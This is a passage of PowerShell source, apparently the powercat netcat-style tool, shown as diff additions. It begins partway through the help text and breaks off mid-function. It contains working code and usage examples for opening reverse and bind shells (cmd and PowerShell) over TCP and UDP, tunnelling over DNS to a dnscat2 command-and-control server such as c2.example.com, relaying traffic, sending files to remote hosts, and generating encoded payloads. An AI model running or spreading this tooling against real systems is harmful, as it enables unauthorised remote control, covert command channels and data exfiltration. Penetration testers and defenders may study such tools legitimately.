covert channel. + Specify the dns server to -c, the dns port to -p, and specify the + domain to this option, -dns. This is only a client. + Get the server here: https://github.com/iagox86/dnscat2 + + -dnsft DNS Failure Threshold. This is how many bad packets the client can + recieve before exiting. Set to zero when receiving files, and set high + for more stability over the internet. + + -t Timeout. The number of seconds to wait before giving up on listening or + connecting. Default: 60 + + -i Input. Provide data to be sent down the pipe as soon as a connection is + established. Used for moving files. You can provide the path to a file, + a byte array object, or a string. You can also pipe any of those into + powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80 + + -o Output. Specify how powercat should return information to the console. + Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'. + + -of Output File. Specify the path to a file to write output to. + + -d Disconnect. powercat will disconnect after the connection is established + and the input from -i is sent. Used for scanning. + + -rep Repeater. powercat will continually restart after it is disconnected. + Used for setting up a persistent server. + + -g Generate Payload. Returns a script as a string which will execute the + powercat with the options you have specified. -i, -d, and -rep will not + be incorporated. + + -ge Generate Encoded Payload. Does the same as -g, but returns a string which + can be executed in this way: powershell -E + + -h Print this help message. + +Examples: + + Listen on port 8000 and print the output to the console. + powercat -l -p 8000 + + Connect to 10.1.1.1 port 443, send a shell, and enable verbosity. + powercat -c 10.1.1.1 -p 443 -e cmd -v + + Connect to the dnscat2 server on c2.example.com, and send dns queries + to the dns server on 10.1.1.1 port 53. + powercat -c 10.1.1.1 -p 53 -dns c2.example.com + + Send a file to 10.1.1.15 port 8000. + powercat -c 10.1.1.15 -p 8000 -i C:\inputfile + + Write the data sent to the local listener on port 4444 to C:\outfile + powercat -l -p 4444 -of C:\outfile + + Listen on port 8000 and repeatedly server a powershell shell. + powercat -l -p 8000 -ep -rep + + Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp. + powercat -l -p 8000 -r tcp:10.1.1.1:9000 + + Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com, + sending queries to 10.1.1.1 port 53. + powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com +" + if($h){return $Help} + ############### HELP ############### + + ############### VALIDATE ARGS ############### + $global:Verbose = $Verbose + if($of -ne ''){$o = 'Bytes'} + if($dns -eq "") + { + if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."} + if($p -eq ""){return "Please provide a port number to -p."} + } + if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"} + if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."} + if($l) + { + $Failure = $False + netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}} + if($Failure){break} + } + if($r -ne "") + { + if($r.split(":").Count -eq 2) + { + $Failure = $False + netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}} + if($Failure){break} + } + } + ############### VALIDATE ARGS ############### + + ############### UDP FUNCTIONS ############### + function Setup_UDP + { + param($FuncSetupVars) + if($global:Verbose){$Verbose = $True} + $c,$l,$p,$t = $FuncSetupVars + $FuncVars = @{} + $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding + if($l) + { + $SocketDestinationBuffer = New-Object System.Byte[] 65536 + $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p + $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p + $PacketInfo = New-Object System.Net.Sockets.IPPacketInformation + Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]") + $ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null) + $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + while($True) + { + if($Host.UI.RawUI.KeyAvailable) + { + if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode)) + { + Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..." + $FuncVars["Socket"].Close() + $Stopwatch.Stop() + break + } + } + if($Stopwatch.Elapsed.TotalSeconds -gt $t) + { + $FuncVars["Socket"].Close() + $Stopwatch.Stop() + Write-Verbose "Timeout!" ; break + } + if($ConnectHandle.IsCompleted) + { + $SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo) + Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")") + if($SocketBytesRead -gt 0){break} + else{break} + } + } + $Stopwatch.Stop() + $FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)] + } + else + { + if(!$c.Contains(".")) + { + $IPList = @() + [System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString} + Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0]) + $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p + } + else + { + $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p + } + $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient + $FuncVars["Socket"].Connect($c,$p) + Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...") + Write-Verbose ("UDP: Make sure to send some data so the server can notice you!") + } + $FuncVars["BufferSize"] = 65536 + $FuncVars["EndPoint"] = $EndPoint + $FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"] + $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) + return $FuncVars + } + function ReadData_UDP + { + param($FuncVars) + $Data = $null + if($FuncVars["StreamReadOperation"].IsCompleted) + { + $StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"]) + if($StreamBytesRead -eq 0){break} + $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] + $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) + } + return $Data,$FuncVars + } + function WriteData_UDP + { + param($Data,$FuncVars) + $FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null + return $FuncVars + } + function Close_UDP + { + param($FuncVars) + $FuncVars["Socket"].Close() + } + ############### UDP FUNCTIONS ############### + + ############### DNS FUNCTIONS ############### + function Setup_DNS + { + param($FuncSetupVars) + if($global:Verbose){$Verbose = $True} + function ConvertTo-HexArray + { + param($String) + $Hex = @() + $String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_} + return $Hex + } + + function SendPacket + { + param($Packet,$DNSServer,$DNSPort) + $Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit") + $result = ($Command | nslookup 2>&1 | Out-String) + if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)} + else{return 1} + } + + function Create_SYN + { + param($SessionId,$SeqNum,$Tag,$Domain) + return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain) + } + + function Create_FIN + { + param($SessionId,$Tag,$Domain) + return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain) + } + + function Create_MSG + { + param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain) + return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain) + } + + function DecodePacket + { + param($Packet) + + if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1} + $AcknowledgementNumber = ($Packet[10..13] -join "") + $SeqNum = ($Packet[14..17] -join "") + [byte[]]$ReturningData = @() + + if($Packet.Length -gt 18) + { + $PacketElim = $Packet.Substring(18) + while($PacketElim.Length -gt 0) + { + $ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16) + $PacketElim = $PacketElim.Substring(2) + } + } + + return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum + } + + function AcknowledgeData + { + param($ReturningData,$AcknowledgementNumber) + $Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535)) + if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)} + return $Hex + } + $FuncVars = @{} + $FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars + if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"} + $FuncVars["Tag"] = "" + $FuncVars["Domain"] = ("." + $FuncVars["Domain"]) + + $FuncVars["Create_SYN"] = ${function:Create_SYN} + $FuncVars["Create_MSG"] = ${function:Create_MSG} + $FuncVars["Create_FIN"] = ${function:Create_FIN} + $FuncVars["DecodePacket"] = ${function:DecodePacket} + $FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray} + $FuncVars["AckData"] = ${function:AcknowledgeData} + $FuncVars["SendPacket"] = ${function:SendPacket} + $FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) + $FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) + $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding + $FuncVars["Failures"] = 0 + + $SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"])) + $ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"])) + $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket)) + if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."} + $ReturningData = $DecodedPacket[1] + if($ReturningData -ne ""){$FuncVars["InputData"] = ""} + $FuncVars["AckNum"] = $DecodedPacket[2] + $FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length) + if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."} + return $FuncVars + } + function ReadData_DNS + { + param($FuncVars) + if($global:Verbose){$Verbose = $True} + + $PacketsData = @() + $PacketData = "" + + if($FuncVars["InputData"] -ne $null) + { + $Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"])) + $SectionCount = 0 + $PacketCount = 0 + foreach($Char in $Hex) + { + if($SectionCount -ge 30) + { + $SectionCount = 0 + $PacketData += "." + } + if($PacketCount -ge ($FuncVars["MaxMSGDataSize"])) + { + $PacketsData += $PacketData.TrimEnd(".") + $PacketCount = 0 + $SectionCount = 0 + $PacketData = "" + } + $PacketData += $Char + $SectionCount += 2 + $PacketCount += 2 + } + $PacketData = $PacketData.TrimEnd(".") + $PacketsData += $PacketData + $FuncVars["InputData"] = "" + } + else + { + $PacketsData = @("") + } + + [byte[]]$ReturningData = @() + foreach($PacketData in $PacketsData) + { + try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])} + catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue } + try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))} + catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue } + try + { + $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet)) + if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue } + $FuncVars["AckNum"] = $DecodedPacket[2] + $FuncVars["SeqNum"] = $DecodedPacket[3] + $ReturningData += $DecodedPacket[1] + } + catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } + if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } + } + + if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break} + + if($ReturningData -ne @()) + { + $FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"])) + } + return $ReturningData,$FuncVars + } + function WriteData_DNS + { + param($Data,$FuncVars) + $FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data) + return $FuncVars + } + function Close_DNS + { + param($FuncVars) + $FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"]) + Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null + } + ############### DNS FUNCTIONS ############### + + ########## TCP FUNCTIONS ########## + function Setup_TCP + { + param($FuncSetupVars) + $c,$l,$p,$t = $FuncSetupVars + if($global:Verbose){$Verbose = $True} + $FuncVars = @{} + if(!$l) + { + $FuncVars["l"] = $False + $Socket = New-Object System.Net.Sockets.TcpClient + Write-Verbose "Connecting..." + $Handle = $Socket.BeginConnect($c,$p,$null,$null) + } + else + { + $FuncVars["l"] = $True + Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")") + $Socket = New-Object System.Net.Sockets.TcpListener $p + $Socket.Start() + $Handle = $Socket.BeginAcceptTcpClient($null, $null) + } + + $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + while($True) + { + if($Host.UI.RawUI.KeyAvailable) + { + if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode)) + { + Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..." + if($FuncVars["l"]){$Socket.Stop()} + else{$Socket.Close()} + $Stopwatch.Stop() + break + } + } + if($Stopwatch.Elapsed.TotalSeconds -gt $t) + { + if(!$l){$Socket.Close()} + else{$Socket.Stop()} + $Stopwatch.Stop() + Write-Verbose "Timeout!" ; break + break + } + if($Handle.IsCompleted) + { + if(!$l) + { + try + { + $Socket.EndConnect($Handle) + $Stream = $Socket.GetStream() + $BufferSize = $Socket.ReceiveBufferSize + Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!") + } + catch{$Socket.Close(); $Stopwatch.Stop(); break} + } + else + { + $Client = $Socket.EndAcceptTcpClient($Handle) + $Stream = $Client.GetStream() + $BufferSize = $Client.ReceiveBufferSize + Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")") + } + break + } + } + $Stopwatch.Stop() + if($Socket -eq $null){break} + $FuncVars["Stream"] = $Stream + $FuncVars["Socket"] = $Socket + $FuncVars["BufferSize"] = $BufferSize + $FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"]) + $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) + $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding + $FuncVars["StreamBytesRead"] = 1 + return $FuncVars + } + function ReadData_TCP + { + param($FuncVars) + $Data = $null + if($FuncVars["StreamBytesRead"] -eq 0){break} + if($FuncVars["StreamReadOperation"].IsCompleted) + { + $StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"]) + if($StreamBytesRead -eq 0){break} + $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] + $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) + } + return $Data,$FuncVars + } + function WriteData_TCP + { + param($Data,$FuncVars) + $FuncVars["Stream"].Write($Data, 0, $Data.Length) + return $FuncVars + } + function Close_TCP + { + param($FuncVars) + try{$FuncVars["Stream"].Close()} + catch{} + if($FuncVars["l"]){$FuncVars["Socket"].Stop()} + else{$FuncVars["Socket"].Close()} + } + ########## TCP FUNCTIONS ########## + + ########## CMD FUNCTIONS ########## + function Setup_CMD + { + param($FuncSetupVars) + if($global:Verbose){$Verbose = $True} + $FuncVars = @{} + $ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo + $ProcessStartInfo.FileName = $FuncSetupVars[0] + $ProcessStartInfo.UseShellExecute = $False + $ProcessStartInfo.RedirectStandardInput = $True + $ProcessStartInfo.RedirectStandardOutput = $True + $ProcessStartInfo.RedirectStandardError = $True + $FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo) + Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...") + $FuncVars["Process"].Start() | Out-Null + $FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536 + $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) + $FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536 + $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) + $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding + return $FuncVars + } + function ReadData_CMD + { + param($FuncVars) + [byte[]]$Data = @() + if($FuncVars["StdOutReadOperation"].IsCompleted) + { + $StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"]) + if($StdOutBytesRead -eq 0){break} + $Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)] + $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) + } + if($FuncVars["StdErrReadOperation"].IsCompleted) + { + $StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"]) + if($StdErrBytesRead -eq 0){break} + $Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)] + $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) + } + return $Data,$FuncVars + } + function WriteData_CMD + { + param($Data,$FuncVars) + $FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n")) + return $FuncVars + } + function Close_CMD + { + param($FuncVars) + $FuncVars["Process"] | Stop-Process + } + ########## CMD FUNCTIONS ########## + + ########## POWERSHELL FUNCTIONS ########## + function Main_Powershell + { + param($Stream1SetupVars) + try + { + $encoding = New-Object System.Text.AsciiEncoding + [byte[]]$InputToWrite = @() + if($i -ne $null) + { + Write-Verbose "Input from -i detected..." + if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) } + elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } + elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } + else{Write-Host "Unrecognised input type." ; return} + } + + Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)" + try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} + catch{Write-Verbose "Stream 1 Setup Failure" ; return} + + Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)" + try + { + $IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> ")) + $Prompt = ("PS " + (pwd).Path + "> ") + $CommandToExecute = "" + $Data = $null + } + catch + { + Write-Verbose "Stream 2 Setup Failure" ; return + } + + if($InputToWrite -ne @()) + { + Write-Verbose "Writing input to Stream 1..." + try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} + catch{Write-Host "Failed to write input to Stream 1" ; return} + } + + if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} + + Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." + while($True) + { + try + { + ##### Stream2 Read ##### + $Prompt = $null + $ReturnedData = $null + if($CommandToExecute -ne "") + { + try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))} + catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))} + $Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> ")) + } + $Data += $IntroPrompt + $IntroPrompt = $null + $Data += $ReturnedData + $Data += $Prompt + $CommandToExecute = "" + ##### Stream2 Read ##### + + if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} + $Data = $null + } + catch + { + Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return + } + + try + { + $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars + if($Data.Length -eq 0){Start-Sleep -Milliseconds 100} + if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)} + $Data = $null + } + catch + { + Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return + } + } + } + finally + { + try + { + Write-Verbose "Closing Stream 1..." + Stream1_Close $Stream1Vars + } + catch + { + Write-Verbose "Failed to close Stream 1" + } + } + } + ########## POWERSHELL FUNCTIONS ########## + + ########## CONSOLE FUNCTIONS ########## + function Setup_Console + { + param($FuncSetupVars) + $FuncVars = @{} + $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding + $FuncVars["Output"] = $FuncSetupVars[0] + $FuncVars["OutputBytes"] = [byte[]]@() + $FuncVars["OutputString"] = "" + return $FuncVars + } + function ReadData_Console + { + param($FuncVars) + $Data = $null + if($Host.UI.RawUI.KeyAvailable) + { + $Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n") + } + return $Data,$FuncVars + } + function WriteData_Console + { + param($Data,$FuncVars) + switch($FuncVars["Output"]) + { + "Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)} + "String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)} + "Bytes" {$FuncVars["OutputBytes"] += $Data} + } + return $FuncVars + } + function Close_Console + { + param($FuncVars) + if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]} + elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]} + return + } + ########## CONSOLE FUNCTIONS ########## + + ########## MAIN FUNCTION ########## + function Main + { + param($Stream1SetupVars,$Stream2SetupVars) + try + { + [byte[]]$InputToWrite = @() + $Encoding = New-Object System.Text.AsciiEncoding + if($i -ne $null) + { + Write-Verbose "Input from -i detected..." + if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) } + elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } + elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } + else{Write-Host "Unrecognised input type." ; return} + } + + Write-Verbose "Setting up Stream 1..." + try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} + catch{Write-Verbose "Stream 1 Setup Failure" ; return} + + Write-Verbose "Setting up Stream 2..." + try{$Stream2Vars = Stream2_Setup $Stream2SetupVars} + catch{Write-Verbose "Stream 2 Setup Failure" ; return} + + $Data = $null + + if($InputToWrite -ne @()) + { + Write-Verbose "Writing input to Stream 1..." + try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} + catch{Write-Host "Failed to write input to Stream 1" ; return} + } + + if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} + + Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." + while($True) + { + try + { + $Data,$Stream2Vars = Stream2_ReadData $Stream2Vars + if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} + if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} + $Data = $null + } + catch + { + Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return + } + + try + { + $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars + if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} + if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars} + $Data = $null + } + catch + { + Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return + } + } + } + finally + { + try + { + #Write-Verbose "Closing Stream 2..." + Stream2_Close $Stream2Vars + } + catch + { + Write-Verbose "Failed to close Stream 2" + } + try + { + #Write-Verbose "Closing Stream 1..." + Stream1_Close $Stream1Vars + } + catch + { + Write-Verbose "Failed to close Stream 1" + } + } + } + ########## MAIN FUNCTION ########## + + ########## GENERATE PAYLOAD ########## + if($u) + { + Write-Verbose "Set Stream 1: UDP" + $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") + $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") + $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") + $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") + if($l){$InvokeString = "Main @('',`$True,'$p','$t') "} + else{$InvokeString = "Main @('$c',`$False,'$p','$t') "} + } + elseif($dns -ne "") + { + Write-Verbose "Set Stream 1: DNS" + $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") + $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") + $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") + $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") + if($l){return "This feature is not available."} + else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "} + } + else + { + Write-Verbose "Set Stream 1: TCP" + $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") + $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") + $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") + $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") + if($l){$InvokeString = "Main @('',`$True,$p,$t) "} + else{$InvokeString = "Main @('$c',`$False,$p,$t) "} + } + + if($e -ne "") + { + Write-Verbose "Set Stream 2: Process" + $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n") + $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n") + $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n") + $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n") + $InvokeString += "@('$e')`n`n" + } + elseif($ep) + { + Write-Verbose "Set Stream 2: Powershell" + $InvokeString += "`n`n" + } + elseif($r -ne "") + { + if($r.split(":")[0].ToLower() -eq "udp") + { + Write-Verbose "Set Stream 2: UDP" + $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") + $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") + $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") + $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") + if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} + elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} + else{return "Bad relay format."} + } + if($r.split(":")[0].ToLower() -eq "dns") + { + Write-Verbose "Set Stream 2: DNS" + $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") + $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") + $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") + $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") + if($r.split(":").Count -eq 2){return "This feature is not available."} + 